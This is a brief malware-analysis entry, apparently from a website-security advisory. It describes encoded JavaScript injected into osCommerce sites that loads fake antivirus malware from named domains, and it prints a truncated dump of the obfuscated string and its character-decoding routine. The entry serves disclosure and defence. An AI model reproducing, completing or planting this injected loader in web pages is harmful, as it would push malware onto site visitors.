Description:This encoded javascript loads malware (the fake AV) from:
ryffe.com, rchjj.com, etc
Affecting: osCommerce web sites.
Malware dump:
var s=' O i vW f j Q li w P 2 0! 4 1! ...
...
if(ch==" "){c = s.charAt(i+1);i1=s.charCodeAt(i+1);if(i1<127)c = String.fromCharCode(re(re(re(i1,33,cn..
else{c=s.charCodeAt(i);if(c<127)c = re(re(re(c,33,cn,58,90),29,cn,97,125),10,rn,48,57);i1 = c..